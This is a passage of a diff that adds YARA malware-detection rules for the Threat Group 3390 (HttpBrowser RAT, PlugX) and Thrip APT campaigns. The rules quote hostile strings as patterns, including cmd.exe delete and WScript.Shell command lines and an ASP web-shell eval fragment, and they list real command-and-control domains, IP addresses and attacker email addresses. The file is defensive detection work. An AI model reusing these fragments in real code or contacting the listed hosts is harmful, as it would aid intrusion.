+		hash7 = "c2fa67e970d00279cec341f71577953d49e10fe497dae4f298c2e9abdd3a48cc"
+		id = "2e347024-ac5f-5e8c-a8b0-53eaa9a03979"
+	strings:
+		$x1 = "1001=cmd.exe" fullword ascii 
+		$x2 = "1003=ShellExecuteA" fullword ascii 
+		$x3 = "1002=/c del /q %s" fullword ascii
+		$x4 = "1004=SetThreadPriority" fullword ascii
+
+		/* $s1 = "pnipcn.dllUT" fullword ascii
+		$s2 = "ssonsvr.exeUT" fullword ascii
+		$s3 = "navlu.dllUT" fullword ascii
+		$s4 = "@CONOUT$" fullword wide 
+		$s5 = "VPDN_LU.exeUT" fullword ascii
+		$s6 = "msi.dll.urlUT" fullword ascii
+		$s7 = "setup.exeUT" fullword ascii 
+		$s8 = "pnipcn.dll.urlUT" fullword ascii
+		$s9 = "ldvpreg.exeUT" fullword ascii */
+
+		$op0 = { e8 71 11 00 00 83 c4 10 ff 4d e4 8b f0 78 07 8b } /* Opcode */
+		$op1 = { e8 85 34 00 00 59 59 8b 86 b4 } /* Opcode */
+		$op2 = { 8b 45 0c 83 38 00 0f 84 97 } /* Opcode */
+		$op3 = { 8b 45 0c 83 38 00 0f 84 98 } /* Opcode */
+		$op4 = { 89 7e 0c ff 15 a0 50 40 00 59 8b d8 6a 20 59 8d } /* Opcode */
+		$op5 = { 56 8d 85 cd fc ff ff 53 50 88 9d cc fc ff ff e8 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of ($x*) and 1 of ($op*)
+}
+
+rule HttpBrowser_RAT_Sample1 {
+	meta:
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Sample update.hancominc.com"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 80
+		hash1 = "be334d1f8fa65a723af65200a166c2bbdb06690c8b30fafe772600e4662fc68b"
+		hash2 = "1052ad7f4d49542e4da07fa8ea59c15c40bc09a4d726fad023daafdf05866ebb"
+		id = "8babf47f-006c-5001-9753-08ac08f5e861"
+	strings:
+		$s0 = "update.hancominc.com" fullword wide 
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and $s0
+}
+
+rule HttpBrowser_RAT_Sample2 {
+	meta:
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 80
+		hash1 = "c57c5a2c322af2835ae136b75283eaaeeaa6aa911340470182a9983ae47b8992"
+		id = "693d381f-50b0-5f06-b725-78243b67092c"
+	strings:
+		$s0 = "nKERNEL32.DLL" fullword wide
+		$s1 = "WUSER32.DLL" fullword wide
+		$s2 = "mscoree.dll" fullword wide
+		$s3 = "VPDN_LU.exeUT" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and all of them
+}
+
+rule HttpBrowser_RAT_Gen {
+	meta:
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Generic"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 90
+		hash1 = "0299493ccb175d452866f5e21d023d3e92cd8d28452517d1d19c0f05f2c5ca27"
+		hash2 = "065d055a90da59b4bdc88b97e537d6489602cb5dc894c5c16aff94d05c09abc7"
+		hash3 = "05c7291db880f94c675eea336ecd66338bd0b1d49ad239cc17f9df08106e6684"
+		hash4 = "07133f291fe022cd14346cd1f0a649aa2704ec9ccadfab809ca9c48b91a7d81b"
+		hash5 = "0f8893e87ddec3d98e39a57f7cd530c28e36d596ea0a1d9d1e993dc2cae0a64d"
+		hash6 = "108e6633744da6efe773eb78bd0ac804920add81c3dde4b26e953056ac1b26c5"
+		hash7 = "1052ad7f4d49542e4da07fa8ea59c15c40bc09a4d726fad023daafdf05866ebb"
+		hash8 = "1277ede988438d4168bb5b135135dd3b9ae7d9badcdf1421132ca4692dd18386"
+		hash9 = "19be90c152f7a174835fd05a0b6f722e29c648969579ed7587ae036679e66a7b"
+		hash10 = "1e7133bf5a9fe5e462321aafc2b7770b8e4183a66c7fef14364a0c3f698a29af"
+		hash11 = "2264e5e8fcbdcb29027798b200939ecd8d1d3ad1ef0aef2b8ce7687103a3c113"
+		hash12 = "2a1bdeb0a021fb0bdbb328bd4b65167d1f954c871fc33359cb5ea472bad6e13e"
+		hash13 = "259a2e0508832d0cf3f4f5d9e9e1adde17102d2804541a9587a9a4b6f6f86669"
+		hash14 = "240d9ce148091e72d8f501dbfbc7963997d5c2e881b4da59a62975ddcbb77ca2"
+		hash15 = "211a1b195cf2cc70a2caf8f1aafb8426eb0e4bae955e85266490b12b5322aa16"
+		hash16 = "2d25c6868c16085c77c58829d538b8f3dbec67485f79a059f24e0dce1e804438"
+		hash17 = "2d932d764dd9b91166361d8c023d64a4480b5b587a6087b0ce3d2ac92ead8a7d"
+		hash18 = "3556722d9aa37beadfa6ba248a66576f767e04b09b239d3fb0479fa93e0ba3fd"
+		hash19 = "365e1d4180e93d7b87ba28ce4369312cbae191151ac23ff4a35f45440cb9be48"
+		hash20 = "36c49f18ce3c205152eef82887eb3070e9b111d35a42b534b2fb2ee535b543c0"
+		hash21 = "3eeb1fd1f0d8ab33f34183893c7346ddbbf3c19b94ba3602d377fa2e84aaad81"
+		hash22 = "3fa8d13b337671323e7fe8b882763ec29b6786c528fa37da773d95a057a69d9a"
+		id = "0ba9facb-7385-56ce-9e20-d86261a39cd1"
+	strings:
+		$s0 = "%d|%s|%04d/%02d/%02d %02d:%02d:%02d|%ld|%d" fullword wide 
+		$s1 = "HttpBrowser/1.0" fullword wide
+		$s2 = "set cmd : %s" ascii fullword
+		$s3 = "\\config.ini" wide fullword
+	condition:
+		uint16(0) == 0x5a4d and filesize < 45KB and filesize > 20KB and all of them
+}
+
+rule PlugX_NvSmartMax_Gen {
+	meta:
+		description = "Threat Group 3390 APT Sample - PlugX NvSmartMax Generic"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 70
+		hash1 = "718fc72942b9b706488575c0296017971170463f6f40fa19b08fc84b79bf0cef"
+		hash2 = "1c0379481d17fc80b3330f148f1b87ff613cfd2a6601d97920a0bcd808c718d0"
+		hash3 = "555952aa5bcca4fa5ad5a7269fece99b1a04816d104ecd8aefabaa1435f65fa5"
+		hash4 = "71f7a9da99b5e3c9520bc2cc73e520598d469be6539b3c243fb435fe02e44338"
+		hash5 = "65bbf0bd8c6e1ccdb60cf646d7084e1452cb111d97d21d6e8117b1944f3dc71e"
+		id = "5ecd25a8-9717-527f-bb6e-3259b9a60458"
+	strings:
+		$s0 = "NvSmartMax.dll" fullword ascii
+		$s1 = "NvSmartMax.dll.url" fullword ascii
+		$s2 = "Nv.exe" fullword ascii
+		$s4 = "CryptProtectMemory failed" fullword ascii 
+		$s5 = "CryptUnprotectMemory failed" fullword ascii 
+		$s7 = "r%.*s(%d)%s" fullword wide
+		$s8 = " %s CRC " fullword wide
+
+		$op0 = { c6 05 26 49 42 00 01 eb 4a 8d 85 00 f8 ff ff 50 } /* Opcode */
+		$op1 = { 8d 85 c8 fe ff ff 50 8d 45 c8 50 c6 45 47 00 e8 } /* Opcode */
+		$op2 = { e8 e6 65 00 00 50 68 10 43 41 00 e8 56 84 00 00 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of ($s*) and 1 of ($op*)
+}
+
+rule HttpBrowser_RAT_dropper_Gen2 {
+	meta:
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Dropper"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 70
+		hash1 = "c57c5a2c322af2835ae136b75283eaaeeaa6aa911340470182a9983ae47b8992"
+		hash2 = "dfa984174268a9f364d856fd47cfaca75804640f849624d69d81fcaca2b57166"
+		id = "cd559642-a102-5946-8a7f-16c10e7f746d"
+	strings:
+		$s1 = "navlu.dll.urlUT" fullword ascii
+		$s2 = "VPDN_LU.exeUT" fullword ascii
+		$s3 = "pnipcn.dllUT" fullword ascii
+		$s4 = "\\ssonsvr.exe" ascii
+		$s5 = "/c del /q %s" fullword ascii
+		$s6 = "\\setup.exe" ascii 
+		$s7 = "msi.dllUT" fullword ascii
+
+		$op0 = { 8b 45 0c 83 38 00 0f 84 98 } /* Opcode */
+		$op1 = { e8 dd 07 00 00 ff 35 d8 fb 40 00 8b 35 7c a0 40 } /* Opcode */
+		$op2 = { 83 fb 08 75 2c 8b 0d f8 af 40 00 89 4d dc 8b 0d } /* Opcode */
+		$op3 = { c7 43 18 8c 69 40 00 e9 da 01 00 00 83 7d f0 00 } /* Opcode */
+		$op4 = { 6a 01 e9 7c f8 ff ff bf 1a 40 00 96 1b 40 00 01 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and 3 of ($s*) and 1 of ($op*)
+}
+
+rule ThreatGroup3390_Strings {
+	meta:
+		description = "Threat Group 3390 APT - Strings"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 60
+		id = "9a44393b-5220-5376-ba18-2330f4623cd6"
+	strings:
+		$s1 = "\"cmd\" /c cd /d \"c:\\Windows\\Temp\\\"&copy" ascii
+		$s2 = "svchost.exe a -k -r -s -m5 -v1024000 -padmin-windows2014"
+		$s3 = "ren *.rar *.zip" fullword ascii
+		$s4 = "c:\\temp\\ipcan.exe" fullword ascii
+		$s5 = "<%eval(Request.Item(\"admin-na-google123!@#" ascii
+	condition:
+		1 of them and filesize < 30KB
+}
+
+rule ThreatGroup3390_C2 {
+	meta:
+		description = "Threat Group 3390 APT - C2 Server"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 60
+		id = "232b5052-e349-55f1-bd7e-1afc5d35abe4"
+	strings:
+		$s1 = "api.apigmail.com"
+		$s2 = "apigmail.com"
+		$s3 = "backup.darkhero.org"
+		$s4 = "bel.updatawindows.com"
+		$s5 = "binary.update-onlines.org"
+		$s6 = "blackcmd.com"
+		$s7 = "castle.blackcmd.com"
+		$s8 = "ctcb.blackcmd.com"
+		$s9 = "darkhero.org"
+		$s10 = "dav.local-test.com"
+		$s11 = "test.local-test.com"
+		$s12 = "dev.local-test.com"
+		$s13 = "ocean.local-test.com"
+		$s14 = "ga.blackcmd.com"
+		$s15 = "helpdesk.blackcmd.com"
+		$s16 = "helpdesk.csc-na.com"
+		$s17 = "helpdesk.hotmail-onlines.com"
+		$s18 = "helpdesk.lnip.org"
+		$s19 = "hotmail-onlines.com"
+		$s20 = "jobs.hotmail-onlines.com"
+		$s21 = "justufogame.com"
+		$s22 = "lnip.org"
+		$s23 = "local-test.com"
+		$s24 = "login.hansoftupdate.com"
+		$s25 = "long.update-onlines.org"
+		$s26 = "longlong.update-onlines.org"
+		$s27 = "longshadow.dyndns.org"
+		$s28 = "longshadow.update-onlines.org"
+		$s29 = "longykcai.update-onlines.org"
+		$s30 = "lostself.update-onlines.org"
+		$s31 = "mac.navydocument.com"
+		$s32 = "mail.csc-na.com"
+		$s33 = "mantech.updatawindows.com"
+		$s34 = "micr0soft.org"
+		$s35 = "microsoft-outlook.org"
+		$s36 = "mtc.navydocument.com"
+		$s37 = "navydocument.com"
+		$s38 = "mtc.update-onlines.org"
+		$s39 = "news.hotmail-onlines.com"
+		$s40 = "oac.3322.org"
+		$s41 = "ocean.apigmail.com"
+		$s42 = "pchomeserver.com"
+		$s43 = "registre.organiccrap.com"
+		$s44 = "security.pomsys.org"
+		$s45 = "services.darkhero.org"
+		$s46 = "sgl.updatawindows.com"
+		$s47 = "shadow.update-onlines.org"
+		$s48 = "sonoco.blackcmd.com"
+		$s49 = "test.logmastre.com"
+		$s50 = "up.gtalklite.com"
+		$s51 = "updatawindows.com"
+		$s52 = "update-onlines.org"
+		$s53 = "update.deepsoftupdate.com"
+		$s54 = "update.hancominc.com"
+		$s55 = "update.micr0soft.org"
+		$s56 = "update.pchomeserver.com"
+		$s57 = "urs.blackcmd.com"
+		$s58 = "wang.darkhero.org"
+		$s59 = "webs.local-test.com"
+		$s60 = "word.apigmail.com"
+		$s61 = "wordpress.blackcmd.com"
+		$s62 = "working.blackcmd.com"
+		$s63 = "working.darkhero.org"
+		$s64 = "working.hotmail-onlines.com"
+		$s65 = "www.trendmicro-update.org"
+		$s66 = "www.update-onlines.org"
+		$s67 = "x.apigmail.com"
+		$s68 = "ykcai.update-onlines.org"
+		$s69 = "ykcailostself.dyndns-free.com"
+		$s70 = "ykcainobody.dyndns.org"
+		$s71 = "zj.blackcmd.com"
+		$s72 = "laxness-lab.com"
+		$s73 = "google-ana1ytics.com"
+		$s74 = "www.google-ana1ytics.com"
+		$s75 = "ftp.google-ana1ytics.com"
+		$s76 = "hotmailcontact.net"
+		$s77 = "208.115.242.36"
+		$s78 = "208.115.242.37"
+		$s79 = "208.115.242.38"
+		$s80 = "66.63.178.142"
+		$s81 = "72.11.148.220"
+		$s82 = "72.11.141.133"
+		$s83 = "74.63.195.236"
+		$s84 = "74.63.195.236"
+		$s85 = "74.63.195.237"
+		$s86 = "74.63.195.238"
+		$s87 = "103.24.0.142"
+		$s88 = "103.24.1.54"
+		$s89 = "106.187.45.162"
+		$s90 = "192.151.236.138"
+		$s91 = "192.161.61.19"
+		$s92 = "192.161.61.20"
+		$s93 = "192.161.61.22"
+		$s94 = "103.24.1.54"
+		$s95 = "67.215.232.179"
+		$s96 = "96.44.177.195"
+		$s97 = "49.143.192.221"
+		$s98 = "67.215.232.181"
+		$s99 = "67.215.232.182"
+		$s100 = "96.44.182.243"
+		$s101 = "96.44.182.245"
+		$s102 = "96.44.182.246"
+		$s103 = "49.143.205.30"
+		$s104 = "working_success@163.com"
+		$s105 = "ykcaihyl@163.com"
+		$s106 = "working_success@163.com"
+		$s107 = "yuming@yinsibaohu.aliyun.com"
+	condition:
+		uint16(0) == 0x5a4d and 1 of them
+}
diff --git a/yara-Neo23x0/apt_thrip.yar b/yara-Neo23x0/apt_thrip.yar
new file mode 100644
index 0000000..287ad64
--- /dev/null
+++ b/yara-Neo23x0/apt_thrip.yar
@@ -0,0 +1,367 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-06-21
+   Identifier: Thrip APT
+   Reference: https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule APT_Thrip_Sample_Jun18_1 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "59509a17d516813350fe1683ca6b9727bd96dd81ce3435484a5a53b472ff4ae9"
+      id = "5b506069-8185-5dc0-bf64-90646f6bab6b"
+   strings:
+      $s1 = "idocback.dll" fullword ascii
+      $s2 = "constructor or from DllMain." fullword ascii
+      $s3 = "appmgmt" fullword ascii
+      $s4 = "chksrv" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule APT_Thrip_Sample_Jun18_2 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "1fc9f7065856cd8dc99b6f46cf0953adf90e2c42a3b65374bf7b50274fb200cc"
+      id = "bc1cfcc8-64a0-5da0-8ff7-147da8a3af0b"
+   strings:
+      $s1 = "C:\\WINDOWS\\system32\\sysprep\\cryptbase.dll" fullword ascii
+      $s2 = "ProbeScriptFint" fullword wide
+      $s3 = "C:\\WINDOWS\\system32\\cmd.exe" fullword ascii /* Goodware String - occured 2 times */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 60KB and all of them
+}
+
+rule APT_Thrip_Sample_Jun18_3 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "0d2abdcaad99e102fdf6574b3dc90f17cb9d060c20e6ac4ff378875d3b91a840"
+      id = "67ea7ed1-954f-5b3e-b058-452be3b6fdfa"
+   strings:
+      $s1 = "C:\\Windows\\SysNative\\cmd.exe" fullword ascii
+      $s2 = "C:\\Windows\\SysNative\\sysprep\\cryptbase.dll" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 60KB and all of them
+}
+
+rule APT_Thrip_Sample_Jun18_4 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "6b236d3fc54d36e6dc2a26299f6ded597058fed7c9099f1a37716c5e4b162abc"
+      id = "9dcfcdbd-d18f-5eba-a10c-95686f010f23"
+   strings:
+      $s1 = "\\system32\\wbem\\tmf\\caches_version.db" ascii
+      $s2 = "ProcessName No Access" fullword ascii
+      $s3 = "Hwnd of Process NULL" fullword ascii
+      $s4 = "*********The new session is be opening:(%d)**********" fullword ascii
+      $s5 = "[EXECUTE]" fullword ascii
+      $s6 = "/------------------------------------------------------------------------" fullword ascii
+      $s7 = "constructor or from DllMain." fullword ascii
+      $s8 = "Time:%d-%d-%d %d:%d:%d" fullword ascii
+      $s9 = "\\info.config" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and 5 of them
+}
+
+rule APT_Thrip_Sample_Jun18_5 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "32889639a27961497d53176765b3addf9fff27f1c8cc41634a365085d6d55920"
+      id = "42c56ed6-a509-568f-a611-ce7e5c5d9d8e"
+   strings:
+      $s2 = "c:\\windows\\USBEvent.exe" fullword ascii
+      $s5 = "c:\\windows\\spdir.dat" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule APT_Thrip_Sample_Jun18_6 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "44f58496578e55623713c4290abb256d03103e78e99939daeec059776bd79ee2"
+      id = "a1c65bc1-371e-509f-a01c-2d58c1773f95"
+   strings:
+      $s1 = "C:\\Windows\\system32\\Instell.exe" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and 1 of them
+}
+
+rule APT_Thrip_Sample_Jun18_7 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "6b714dc1c7e58589374200d2c7f3d820798473faeb26855e53101b8f3c701e3f"
+      id = "16739590-eb88-5de2-bd76-974b3343ec19"
+   strings:
+      $s1 = "C:\\runme.exe" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 60KB and 1 of them
+}
+
+rule APT_Thrip_Sample_Jun18_8 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "0f2d09b1ad0694f9e71eeebec5b2d137665375bf1e76cb4ae4d7f20487394ed3"
+      id = "5eb98c9e-5103-5146-9364-d5f24416406f"
+   strings:
+      $x1 = "$.oS.Run('cmd.exe /c '+a+'" fullword ascii
+      $x2 = "new $._x('WScript.Shell');" ascii
+      $x3 = ".ExpandEnvironmentStrings('%Temp%')+unescape('" ascii
+   condition:
+      filesize < 10KB and 1 of ($x*)
+}
+
+rule APT_Thrip_Sample_Jun18_9 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "8e6682bcc51643f02a864b042f7223b157823f3d890fe21d38caeb43500d923e"
+      hash2 = "0c8ca0fd0ec246ef207b96a3aac5e94c9c368504905b0a033f11eef8c62fa14c"
+      hash3 = "6d0a2c822e2bc37cc0cec35f040d3fec5090ef2775df658d3823e47a93a5fef3"
+      hash4 = "0c49d1632eb407b5fd0ce32ed45b1c783ac2ef60d001853ae1f6b7574e08cfa9"
+      id = "7fcd8d7f-ed60-5155-a0dd-f3a36f3f2981"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and (
+         pe.imphash() == "a7f0714e82b3105031fa7bc89dfe7664" or
+         pe.imphash() == "8812ff21aeb160e8800257140acae54b" or
+         pe.imphash() == "44a1e904763fe2d0837c747c7061b010" or
+         pe.imphash() == "51a854d285aa12eb82e76e6e1be01573" or
+         pe.imphash() == "a1f457c8c549c5c430556bfe5887a4e6"
+      )
+}
+
+rule APT_Thrip_Sample_Jun18_10 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "350d2a6f8e6a4969ffbf75d9f9aae99e7b3a8cd8708fd66f977e07d7fbf842e3"
+      id = "3307ca18-59fb-5400-b51e-c4f4aa99e592"
+   strings:
+      $x1 = "!This Program cannot be run in DOS mode." fullword ascii
+      $x2 = "!this program cannot be run in dos mode." fullword ascii
+
+      $s1 = "svchost.dll" fullword ascii
+      $s2 = "constructor or from DllMain." fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and ( $x1 or 2 of them )
+}
+
+rule APT_Thrip_Sample_Jun18_11 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "590a6796b97469f8e6977832a63c0964464901f075a9651f7f1b4578e55bd8c8"
+      id = "69476f7d-c436-5863-bf20-1d3e821974e6"
+   strings:
+      $s1 = "\\AppData\\Local\\Temp\\dw20.EXE" ascii
+      $s2 = "C:\\Windows\\system32\\sysprep\\cryptbase.dll" fullword ascii
+      $s3 = "WFQNJMBWF" fullword ascii
+      $s4 = "SQLWLWZSF" fullword ascii
+      $s5 = "PFQUFQSBPP" fullword ascii
+      $s6 = "WQZXQFPVOW" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB
+      and ( pe.imphash() == "6eef4394490378f32d134ab3bf4bf194" or all of them )
+}
+
+rule APT_Thrip_Sample_Jun18_12 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "33c01d3266fe6a70e8785efaf10208f869ae58a17fd9cdb2c6995324c9a01062"
+      id = "b24b8042-b6a3-5af8-9fcf-6d042bdb9524"
+   strings:
+      $s1 = "pGlobal->nOSType==64--%s\\cmd.exe %s" fullword ascii
+      $s2 = "httpcom.log" fullword ascii
+      $s3 = "\\CryptBase.dll" ascii
+      $s4 = "gupdate.exe" fullword ascii
+      $s5 = "wusa.exe" fullword ascii
+      $s6 = " %s %s /quiet /extract:%s\\%s\\" ascii
+      $s7 = "%s%s.dll.cab" fullword ascii
+      $s8 = "/c %s\\%s\\%s%s %s" fullword ascii
+      $s9 = "ReleaseEvildll" fullword ascii
+      $s0 = "%s\\%s\\%s%s" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and 6 of them
+}
+
+rule APT_Thrip_Sample_Jun18_13 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "780620521c92aab3d592b3dc149cbf58751ea285cfdaa50510002b441796b312"
+      id = "e6aec6f3-2024-5fb2-b37a-77a182684d32"
+   strings:
+      $s1 = "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" fullword ascii
+      $s2 = "<member><name>password</name>" fullword ascii
+      $s3 = "<value><string>qqtorspy</string></value>" fullword ascii
+      $s4 = "SOFTWARE\\QKitTORSPY" fullword wide
+      $s5 = "ipecho.net" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB
+      and ( pe.imphash() == "3dfad33b2fb66c083c99dc10341908b7" or 4 of them )
+}
+
+rule APT_Thrip_Sample_Jun18_14 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "67dd44a8fbf6de94c4589cf08aa5757b785b26e49e29488e9748189e13d90fb3"
+      id = "736e2700-cdcb-5165-b786-67edaef765b6"
+   strings:
+      $s1 = "%SystemRoot%\\System32\\svchost.exe -k " fullword ascii
+      $s2 = "spdirs.dll" fullword ascii
+      $s3 = "Provides storm installation services such as Publish, and Remove." fullword ascii
+      $s4 = "RegSetValueEx(Svchost\\netsvcs)" fullword ascii
+      $s5 = "Load %s Error" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and (
+         ( pe.exports("InstallA") and pe.exports("InstallB") and pe.exports("InstallC") ) or
+         all of them
+      )
+}
+
+rule APT_Thrip_Sample_Jun18_15 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "231c569f11460a12b171f131c40a6f25d8416954b35c28ae184aba8a649d9786"
+      id = "fd8aa404-4c12-5c8f-a952-a143da858b9b"
+   strings:
+      $s1 = "%s\\cmd.exe /c %s" fullword ascii
+      $s2 = "CryptBase.dll" fullword ascii
+      $s3 = "gupdate.exe" fullword ascii
+      $s4 = "wusa.exe" fullword ascii
+      $s5 = " %s %s /quiet /extract:%s\\%s\\" ascii
+      $s6 = "%s%s.dll.cab" fullword ascii
+      $s7 = "%s\\%s\\%s%s %s" fullword ascii
+      $s8 = "%s\\%s\\%s%s" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB
+      and ( pe.imphash() == "f6ec70a295000ab0a753aa708e9439b4" or 6 of them )
+}
+
+rule APT_Thrip_Sample_Jun18_16 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
